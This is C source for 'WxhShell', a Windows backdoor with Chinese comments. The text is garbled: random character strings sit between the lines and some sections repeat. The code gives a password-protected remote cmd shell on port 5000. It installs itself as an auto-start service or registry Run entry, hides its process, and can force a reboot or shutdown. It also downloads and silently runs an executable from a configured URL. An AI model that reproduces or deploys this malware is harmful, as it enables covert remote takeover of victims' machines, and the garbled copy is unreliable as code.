pcNpr`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KJi8LM ypWhH if (!NtQueryInformationProcess) return 0; b8&z~'ieR IVso/! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !|~yf3 if(!hProcess) return 0; Np@RK1} !@[@&. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -cgMf\YF $_O;yz CloseHandle(hProcess); r#NR3_@9 Sz-TarTF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Le2rc*T if(hProcess==NULL) return 0; an)Z.x %mRnJgV5k HMODULE hMod; 9`cj9zz7 char procName[255]; VJS1{n=;k unsigned long cbNeeded; I]Ws
r#(*x 2~, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y*T@_on5 Dop,_94G CloseHandle(hProcess); KqvM5$3 -IS$1 if(strstr(procName,"services")) return 1; // 以服务启动 rw%OA4> /X;!
F> return 0; // 注册表启动 }*c[}VLN } y4,t=Gq7^ JfzfxfM // 主模块 s]Z++Lh<{ int StartWxhshell(LPSTR lpCmdLine) Id{Ix(O { Cf.(/5X SOCKET wsl; D
4<,YBvV BOOL val=TRUE; GRAPv|u9[ int port=0; :.crES7<[X struct sockaddr_in door; P.3kcZ WD|pG;Gq if(wscfg.ws_autoins) Install(); & sgzSX OySn[4`(i port=atoi(lpCmdLine); y6&o+;I$[ * & : J if(port<=0) port=wscfg.ws_port; s[%@3bY!7 8*EqG5OP WSADATA data; !_?#f| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Uul~T <
;fI*km if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LT:8/&\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E+P-)bRa door.sin_family = AF_INET; &Y-jK < door.sin_addr.s_addr = inet_addr("127.0.0.1"); .2SD)<}(9 door.sin_port = htons(port); bf/z
T0 g3c,x kaO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "cGjHy\j` closesocket(wsl); ?S'Wd= return 1; jBJ|%KM } 8>'vzc/*> 89ab?H}/ if(listen(wsl,2) == INVALID_SOCKET) { .`^wRpa2M closesocket(wsl); WB\chb%ej# return 1; ^F87gow%`B } 8:k-]+#o Wxhshell(wsl); &'c&B0j WSACleanup(); c
Sktm&SP ,R=)^Gh{ return 0; _.5ABE nw=:+? } gCaxZ~o ?;DzWCL~9 // 以NT服务方式启动 BCt>P?,UO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BoofJm { !gj_9"< DWORD status = 0; Q6d>tqW hq DWORD specificError = 0xfffffff; trlZ 0(+dXzcwM serviceStatus.dwServiceType = SERVICE_WIN32; y>&
s; serviceStatus.dwCurrentState = SERVICE_START_PENDING; &+df@U6i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E]ZIm serviceStatus.dwWin32ExitCode = 0; h/7_I uD serviceStatus.dwServiceSpecificExitCode = 0; |qtZb}"| serviceStatus.dwCheckPoint = 0; 0[1/#0$ serviceStatus.dwWaitHint = 0; }kMKA.O" 59k-,lyU, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qwYq9A$+ if (hServiceStatusHandle==0) return; gk4DoO j#P r-5xo.J' status = GetLastError(); 9C| -|mo if (status!=NO_ERROR) EkEQFd 5g { JjQ9AJ?-V serviceStatus.dwCurrentState = SERVICE_STOPPED; 1V;,ZGI* serviceStatus.dwCheckPoint = 0; A&:~dZ:%w serviceStatus.dwWaitHint = 0; Y{2L[5_1 serviceStatus.dwWin32ExitCode = status; %R?#Y1Tq; serviceStatus.dwServiceSpecificExitCode = specificError; [W=6NAd SetServiceStatus(hServiceStatusHandle, &serviceStatus); B2,JfKk/ return; p0C|ECH } 1p(9hVA X,`e1nsR serviceStatus.dwCurrentState = SERVICE_RUNNING; =p&uQ6.i+ serviceStatus.dwCheckPoint = 0; K(Ak+&[ serviceStatus.dwWaitHint = 0; pR3K~bx^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3|0OW
Jk } =5#sB* MzIn~[\ // 处理NT服务事件,比如:启动、停止 h
F *c VOID WINAPI NTServiceHandler(DWORD fdwControl) e%KCcU { ?$%2\"wX~7 switch(fdwControl) z=Khbh { H`NT`BE case SERVICE_CONTROL_STOP: Mgg m~|9) serviceStatus.dwWin32ExitCode = 0; M(<.f}yZQ serviceStatus.dwCurrentState = SERVICE_STOPPED; a/U4pSug serviceStatus.dwCheckPoint = 0; ihopQb+k^m serviceStatus.dwWaitHint = 0; *w6(nG'M{ { YfVZ59l4y6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); "sUmk e-# } yQquGu return; >:f&@vwm case SERVICE_CONTROL_PAUSE: >e QFY^d5 serviceStatus.dwCurrentState = SERVICE_PAUSED; fk(h*L|sI break; QP!0I01 case SERVICE_CONTROL_CONTINUE: qp2&Z8S\D serviceStatus.dwCurrentState = SERVICE_RUNNING; $WG< break; p$l'y""i case SERVICE_CONTROL_INTERROGATE: NSQ#\:3:S break; `r*bG= }; >+2gAO! SetServiceStatus(hServiceStatusHandle, &serviceStatus); +XL|bdK } <{1=4PA Ll0"<G2t // 标准应用程序主函数 4i(?5p>f int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;<nQl,2N { &\AW}xp vXeI)vFK // 获取操作系统版本 I'%ASZ OsIsNt=GetOsVer(); d2O x:| <) GetModuleFileName(NULL,ExeFile,MAX_PATH); {[[/*1r| wZKEUJpQ // 从命令行安装 Q a3+ 9 if(strpbrk(lpCmdLine,"iI")) Install(); Iz[wrtDI1 ')1p // 下载执行文件 XJZS}Z7h if(wscfg.ws_downexe) { ljJR7< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HHg[6aw WinExec(wscfg.ws_filenam,SW_HIDE); Rge\8H/z }
D:Fi/JY~ 2t`d.s= if(!OsIsNt) { ZoroK.N4A% // 如果时win9x,隐藏进程并且设置为注册表启动 _?a.S8LxJZ HideProc(); c^`(5}39v StartWxhshell(lpCmdLine); d^^EfWU } vJ0Zv>
n- else 3Tz~DdB if(StartFromService()) <,I]=+A // 以服务方式启动 }g_\?z3gt StartServiceCtrlDispatcher(DispatchTable); 8&UwnEk< else !Yu|au // 普通方式启动 |oV_7%mlu StartWxhshell(lpCmdLine); )9z3T>QW f%Vdao[ return 0; ?$ 0t @E } o1)8?h lbiMB~rwI 1$1P9x@H G~KYFNHr =========================================== IhPX/P 6tv-PgZ GNab\M. vDcYz, j=n<s</V .Fm@OQr " iBaz1pDc K5EU?J& #include <stdio.h> M*7:-Tb]C #include <string.h> _ 68{
{. #include <windows.h> zHk7!|%Y #include <winsock2.h> QB L| n+ #include <winsvc.h> L1YiXJ,T, #include <urlmon.h> <U~at+M j/uu&\e #pragma comment (lib, "Ws2_32.lib") Pj{Y #pragma comment (lib, "urlmon.lib") B8.uzX'p V3q[ #.o #define MAX_USER 100 // 最大客户端连接数 <_~e/+_. #define BUF_SOCK 200 // sock buffer 5:|=/X%#qp #define KEY_BUFF 255 // 输入 buffer 0*XCAnJ^_ 2tI ,`pSU #define REBOOT 0 // 重启 aYws{Vii #define SHUTDOWN 1 // 关机 ']DUCu D'<'"kUd #define DEF_PORT 5000 // 监听端口 ,#Mt10e{ Sgq?r-Q. #define REG_LEN 16 // 注册表键长度 j-TRa,4bN #define SVC_LEN 80 // NT服务名长度 *m*sg64Zw {W$K@vuV;? // 从dll定义API #8@o%%Fd typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y87oW_"h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Sx.'o$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8ib%CYR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oUx%ra{ g[$4a4X // wxhshell配置信息 'mO>hD`V struct WSCFG { dq^vK int ws_port; // 监听端口 )>I-j$%=2 char ws_passstr[REG_LEN]; // 口令 ch]{=61 int ws_autoins; // 安装标记, 1=yes 0=no ?,^Aoy char ws_regname[REG_LEN]; // 注册表键名 a9y+FCA char ws_svcname[REG_LEN]; // 服务名 >p
9~' char ws_svcdisp[SVC_LEN]; // 服务显示名 oMHTB!A=2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 qrufnu5cC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ';;X{a int ws_downexe; // 下载执行标记, 1=yes 0=no lb\VQZp!y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kjt\A]R% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hO; XJyv cG,zO-H };
{[dY$
I`;SA~5 // default Wxhshell configuration #jM-XK struct WSCFG wscfg={DEF_PORT, hGJANA "xuhuanlingzhe", t ^~Qv 1, <.hutU*1 "Wxhshell", Dvm[W),(k "Wxhshell", 4d\V=_);r "WxhShell Service", +
f,Kt9Cy "Wrsky Windows CmdShell Service", i>e?$H,/ "Please Input Your Password: ", <nc6&+ 1, iTVZo?lVo "http://www.wrsky.com/wxhshell.exe", w|c200Is}e "Wxhshell.exe" oS^KC}X }; X}H?*'- `IT]ZAem`/ // 消息定义模块 (dTQ,0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \3`r/,wY char *msg_ws_prompt="\n\r? for help\n\r#>"; zPN:) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wKKQAM6P1 char *msg_ws_ext="\n\rExit."; xZA.<Yd^r char *msg_ws_end="\n\rQuit."; [Qcht,\^v char *msg_ws_boot="\n\rReboot..."; Q89fXi0Ivb char *msg_ws_poff="\n\rShutdown..."; ih-J{1 char *msg_ws_down="\n\rSave to "; HI7w@V8Ed e~7FK_y#0 char *msg_ws_err="\n\rErr!"; nJ h)iQu char *msg_ws_ok="\n\rOK!"; ~G 3txd 9{
#5~WP char ExeFile[MAX_PATH]; mM:%-I\$ int nUser = 0; inh
J|pe" HANDLE handles[MAX_USER]; 1)5$,+~lL int OsIsNt; aYn5AP'PH [iZH[7&j SERVICE_STATUS serviceStatus; Da8
|eN} SERVICE_STATUS_HANDLE hServiceStatusHandle; W4UK?#S+ $ ^@fV=e // 函数声明 :$0yp`k int Install(void); [:uHe#L int Uninstall(void); sUU[QP- int DownloadFile(char *sURL, SOCKET wsh); FzNj':D int Boot(int flag); XJ5@/BW void HideProc(void); 4:-x!lt int GetOsVer(void); %uCsCl int Wxhshell(SOCKET wsl); Em !%3C1r void TalkWithClient(void *cs); GUZ.Pw int CmdShell(SOCKET sock); %z=:P{0UQ int StartFromService(void); &>&6OV]P' int StartWxhshell(LPSTR lpCmdLine); |1zfXG,R lV$CBS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <p}7T]a7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); JOJuGB-d zw+RDo // 数据结构和表定义 Q6D>(H#"0 SERVICE_TABLE_ENTRY DispatchTable[] = >]8(3&zd { m2"wMt"*V {wscfg.ws_svcname, NTServiceMain}, 1wFW&|>1 {NULL, NULL} |L`U2.hb }; r}es_9*~Z ]YtN6Rq/ // 自我安装 j1A%LS;c_ int Install(void) qS9<_if2 { Il Qk W< char svExeFile[MAX_PATH]; Cf9{lhE8 HKEY key; FzcXSKHV% strcpy(svExeFile,ExeFile); kJpO0k9?eY GcDA0%i // 如果是win9x系统,修改注册表设为自启动 Xdx8HB@L if(!OsIsNt) { T~k @Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3UaW+@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x"g)pGsT RegCloseKey(key); ~\<$H' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AH :uG# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?{xs RegCloseKey(key); "[!b5f3!I return 0; tcT=a@ } \8=)X} ) } tsL
; wT_ } vi
*A5 else { 2|=hF9
*asv^aFpS // 如果是NT以上系统,安装为系统服务 0&j90J$` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ak,JPzT if (schSCManager!=0)
*Z^`H!& { |T@SlNi] SC_HANDLE schService = CreateService Q"C*j'n ( J@2wPKh?Yp schSCManager, pB\:.?.pd wscfg.ws_svcname, >5#}/G& wscfg.ws_svcdisp, :ujpLIjvVG SERVICE_ALL_ACCESS, '(FC
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vx2/^MiXy SERVICE_AUTO_START, 1P(=0\P>& SERVICE_ERROR_NORMAL, w~)tEN> svExeFile, [U/h'A.j NULL, xi(1H1KN5B NULL, P O 5Wi NULL, $]
"M`h NULL, `DF49YP"~ NULL
,AweHUEn ); lUB?eQuN_ if (schService!=0)
R%RxF=@ { 84.L1|k CloseServiceHandle(schService); #p@GhI!6 CloseServiceHandle(schSCManager); ioD8- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Q> e54]'& strcat(svExeFile,wscfg.ws_svcname); sWte& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H" `'d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G~8BND[." RegCloseKey(key); HzGwO^tbK return 0; n}.e(z_" } qWheoyAB } *lvADW5e CloseServiceHandle(schSCManager); wQUl!s7M; } Bh2l3J4X } olv?$]
`!Z?F]):G return 1; kEnGr6e } 1#6emMV.` ?iP7Ki // 自我卸载 'wk,t^) int Uninstall(void) IS&qFi}W|W { ^#<L!yo^ HKEY key; B4RrUA32 NUYKMo1ze if(!OsIsNt) { o13jd NQ- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?'TK~,dG/ RegDeleteValue(key,wscfg.ws_regname); C7ivAh RegCloseKey(key); bPxL+
+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !2KQi=Ng RegDeleteValue(key,wscfg.ws_regname); oYkd%N9P RegCloseKey(key); -i:WA^yKgw return 0; "a)6g0gw } ]##aAh-P4& } '_G\_h}5 } V'j+)!w5 else { S{;Pga*Px b!@PS$BTxq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =4eJ@EVM if (schSCManager!=0) ^1.*NG8 { Y 3ApW vS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); losqc *| if (schService!=0) -{cmi,oy { Sk|e#{ if(DeleteService(schService)!=0) { G^W0!u,@ CloseServiceHandle(schService); JLE&nbKS CloseServiceHandle(schSCManager); ^ f! M"@ return 0; '|SO7}`;Q } =%7drBo D CloseServiceHandle(schService); [j0[c9.p[ } FYYc+6n CloseServiceHandle(schSCManager); eT".psRiC } NbU`_^oC } 1X2j%qI& +-<G(^ return 1; ki'$P.v{$w } 5)%ahmY #h[>RtP: // 从指定url下载文件 !Ap5Uwd int DownloadFile(char *sURL, SOCKET wsh) #-'`Ybw { ;0 B1P|7zK HRESULT hr; V8M()7uJ char seps[]= "/"; oFU:]+.+D char *token; :'DyZy2Fd char *file; n?@zp< char myURL[MAX_PATH]; bZYayjxZ5i char myFILE[MAX_PATH]; _Z0 .c@0 C(XV
YND3 strcpy(myURL,sURL); ^L2d%d\5 token=strtok(myURL,seps); 72sqt5C] while(token!=NULL)
:RnUNz { AZ3T#f![L@ file=token; 0~ho/ _ token=strtok(NULL,seps); G]ek-[- } f]/2uUsg% S&!(h
{O GetCurrentDirectory(MAX_PATH,myFILE); H
d|p@$I strcat(myFILE, "\\"); e v$:7}h= strcat(myFILE, file); *-9i<@|(U^ send(wsh,myFILE,strlen(myFILE),0); ;mU;+~YE send(wsh,"...",3,0); r/sSkF F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PGP#$JC if(hr==S_OK) y47N(;vy return 0; ?sk>Mzr else +|LM" return 1; ircF3P>a? ,&UKsrs_ } K KB+o)*W x:FZEyalG // 系统电源模块 AO7[SHDZ int Boot(int flag) x &R9m, { /2?
CB\ HANDLE hToken; N\PdX$ TOKEN_PRIVILEGES tkp; h <4`|Bg+ 4Im>2) if(OsIsNt) { qLCNANWnd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E]mm^i`| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h+W$\T) tkp.PrivilegeCount = 1; G`FYEmD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D}?p>e|<D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s0iG|vw if(flag==REBOOT) { `q36`Wn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }b\hRy~=r return 0; F}}!e.>c } x4*
bhiu else { KZ%i&w#< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Tj&gyS return 0; WutPy_L< } 1Vu#:6% } a?-&O$UHf\ else { $9`#p/V if(flag==REBOOT) { P PJ^;s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 76 !LMNf return 0; 8oJl ] } R;!,(l else { 4
.
7X*1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M{L- V return 0; wOf8\s1 } ["D!IqI: } R,BJr y )k Wxp return 1; r-y;"h' } AIg4u(j osXEzr( // win9x进程隐藏模块 /0/ouA>+ void HideProc(void) z,aMbgt { gF,=rT1:>r gML8lu0) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vxZ'-&;t if ( hKernel != NULL ) #+ch { ;}E}N:A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!Vyf2xS" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'V?FeWp FreeLibrary(hKernel); v Z9OJrF } Mc,|C) (vG*)a return; 2p&$bft } gO8d2?Oh K;6#v% // 获取操作系统版本 :6Nb,Hh~ int GetOsVer(void) DO(};R%= { %'1iT!g8 OSVERSIONINFO winfo; s6~;)(r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SZW_V6\t> GetVersionEx(&winfo); !MKecRG_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Vy_Cec1 return 1; 7GO9z<m) else jkL=JAcf~ return 0; <J<"`xKL } 9I/l+IS"X i9L]h69r // 客户端句柄模块 WJD2(el int Wxhshell(SOCKET wsl) /F;2wT; { TX=894{nGh SOCKET wsh; VFf;|PHS struct sockaddr_in client; !An?<Sv$ DWORD myID; HF*0 >pp/4Ia! while(nUser<MAX_USER) \1Y|$:T/ { D\_nqx9O int nSize=sizeof(client); 7"'RE95 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n$C-^3c if(wsh==INVALID_SOCKET) return 1; HDV-qYD|O~ C~T,[U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )vO"S if(handles[nUser]==0) eE'P)^KV closesocket(wsh); C4(xtSJSd! else )zxb]Pg+ nUser++; * F%1~ } LG:k}z/T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =H)]HxEEM dE"_gwtX return 0; Led\S;pl } <OEIG0 C_N|o|dX // 关闭 socket d3q%[[@ void CloseIt(SOCKET wsh) {`D]%eRO { znE1t%V closesocket(wsh); yo[Sh6r/9b nUser--; S%MDQTM ExitThread(0); $=.%IJ_MAz } A{s-g>s T*/I4" // 客户端请求句柄 JxinfWk
void TalkWithClient(void *cs) B/l^=u+- { CaZc{ `"65 _?B i SOCKET wsh=(SOCKET)cs; #;!@Pf char pwd[SVC_LEN]; b[:,p?:@ char cmd[KEY_BUFF]; }ex4dhx2M char chr[1]; T^;b98* int i,j; ~u$cX1M 8?82 p while (nUser < MAX_USER) { `F/R:!v `T*Y1@FV if(wscfg.ws_passstr) { @K!JE w\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :lXY% [!6P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .T7CMkYt //ZeroMemory(pwd,KEY_BUFF); >0@w"aKn i=0; b\JU%89 while(i<SVC_LEN) { BlpyE[h
T *KNfPh#wi} // 设置超时 ?Ojv<L-f.: fd_set FdRead; [KR%8[e struct timeval TimeOut; P@@MQ[u?!. FD_ZERO(&FdRead); 0]5XTc3r FD_SET(wsh,&FdRead); zV}:~;w TimeOut.tv_sec=8; iT&4;W=72~ TimeOut.tv_usec=0; ((`\i=-o5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >bWpj8Kv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t#(=$ |aenQA# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wL~A L pwd=chr[0]; KH)-=IJ8 if(chr[0]==0xd || chr[0]==0xa) { 0p.MH~mx pwd=0; l|
uiC%T break; &ic'!h" } j~Pwt9G i++; sDBSc:5+e } gw"SKp!] H_@6!R2 // 如果是非法用户,关闭 socket Khd A;bF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Zg=cI@)( } {Y5@SIyE dBA&NW07 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w/
~\NI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ws5N|g MS#"TG/) while(1) { Il4]1d| y@v)kN)Y9\ ZeroMemory(cmd,KEY_BUFF); jY\z+lW6A KWDH
35 // 自动支持客户端 telnet标准 41=H&G& j=0; cZ)JvU9] while(j<KEY_BUFF) { F(.`@OO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G^ k8Or2 cmd[j]=chr[0]; ##''d||u if(chr[0]==0xa || chr[0]==0xd) { s@$0!8sxm cmd[j]=0; ]8wm1_qV break; h8O\sKn } VDOC> j++; ::{\O\w } Uu8ayN j sg-^ oy*^ // 下载文件 UTE6U6 if(strstr(cmd,"http://")) { zd 2_k 9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2He R1m< if(DownloadFile(cmd,wsh)) @su<_m6' send(wsh,msg_ws_err,strlen(msg_ws_err),0); zjA#8;h~w else uQbag]&j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z1
)1s } !BW!!/U else { ):4)8@]5M g&$5!ifgi switch(cmd[0]) { .9Oj+:n CR.d3!&28 // 帮助 }R}M>^(R4 case '?': { LiFR7\z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kD+#| f break; `L$Av9X\ } -*[)CR-{ // 安装 ?s>_^xfD case 'i': { <(TAA15Xol if(Install()) 7hx^U90K send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}
V]3 else ~X2# z| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KXx;~HtO break; K)x6F15r } ^F?B_' // 卸载 Am3j:|>* case 'r': { n(z$u)Y if(Uninstall()) 4e\w C send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! 1?u0 else a'-xCV|^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `lm '_~=`& break; 2=fLb7 } (W"0c?i|] // 显示 wxhshell 所在路径 xzz@Wc^_ case 'p': { g3vbskY| char svExeFile[MAX_PATH]; %#4;'\'5 strcpy(svExeFile,"\n\r"); Vm@VhCsp strcat(svExeFile,ExeFile); =&-.] |t send(wsh,svExeFile,strlen(svExeFile),0); _}\KC+n8 break; HW_2!t_R } uCW}q.@4 // 重启 ~ cu+QR) case 'b': { }Dcpe M? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H.n|zGQTB if(Boot(REBOOT)) 4
}_}3. send(wsh,msg_ws_err,strlen(msg_ws_err),0); N{RHbSa(
else { c\P}ZQ closesocket(wsh); *WzPxQ_ ExitThread(0); 2&s(:= } WH $*\IGJL break; [KO\!u|?YS } <;+QK=f // 关机 {az
LtTh case 'd': { 7~MWp4. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ou|3%&*" if(Boot(SHUTDOWN)) [A!=Hv_$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'P[uB/ else { q_;# EV closesocket(wsh); aeLIs SEx ExitThread(0); {[H#lX 4 } ^CDh! ) break; ONcS,oHW } =`(\]t"I // 获取shell pek5P4W_ case 's': { eBECY(QMQ CmdShell(wsh); |])Ko08*tE closesocket(wsh); k8.,id ExitThread(0); qP%[nY break; }2?-kj7 } N~yGtnW // 退出 5FNf)F
case 'x': { ^&c|z35F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c$hoqi |tD CloseIt(wsh); +w3k_^X9c break; =)6|lz^ } Ce3
// 离开 G! ryW4 case 'q': { rlDJHR6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?v@q& closesocket(wsh); }W]k1Bsx WSACleanup(); v".u#G'u exit(1); v[y|E;B break; <_Po/a!c3 } lFM'F [-?- } 5th\_n}N2/ } BtWm ZaKi 5HbPS%^. // 提示信息 oU~ e| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"r1RG' } N(&/ Ud } !}uev F
a'2i< return; 3WdANR } (V~PYf% ~{O@tt)F // shell模块句柄 (kI@U![u int CmdShell(SOCKET sock) ,7Lu7Q { B,dKpz;kFg STARTUPINFO si; F_Mi/pB^`9 ZeroMemory(&si,sizeof(si)); v:]
AS: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )wYbcH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S)\%.~ n PROCESS_INFORMATION ProcessInfo; 4mzWNr>fb char cmdline[]="cmd"; .!J,9PE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |[lM2 return 0; AU
+2' } 5zBsu lRt @oL<Ioh // 自身启动模式 2L_ts= int StartFromService(void) )TcW.d6 { I806I@ix typedef struct @v,qfT*k7 { =#<TE~n2( DWORD ExitStatus; SW%d'1ya DWORD PebBaseAddress; sf5koe DWORD AffinityMask; Ls^$E DWORD BasePriority; =r:-CRq( ULONG UniqueProcessId; "8"7AoE ULONG InheritedFromUniqueProcessId; M-df Gk } PROCESS_BASIC_INFORMATION; )rs);Pl ^\<1Y'' PROCNTQSIP NtQueryInformationProcess; k w!1]N ,Mwj`fgh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WVf>>E^1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m+Yj"RMx& JtU/%s HANDLE hProcess; *5#Y[c PROCESS_BASIC_INFORMATION pbi; U>^-Db] 89'XOXl&1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +'x`rk if(NULL == hInst ) return 0; !f\y3p*j |!)3[<. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P$\vD^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f,Sybf/uHh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xXu/CGzG iCIu]6 if (!NtQueryInformationProcess) return 0; x=bAR%i~ Ss&R!w9p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SA|f1R2uS if(!hProcess) return 0; KwRO?G9& % ;2x.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oav^BhUO cV5Lp4wY? CloseHandle(hProcess); 13Ee"r Tc`LY/%Od hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d]k>7. if(hProcess==NULL) return 0; /9WR>NUAO c|Nv^V*2 HMODULE hMod; lYeot8 char procName[255]; G)?O!(_ unsigned long cbNeeded; ^m{kn8 '@Y@H, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
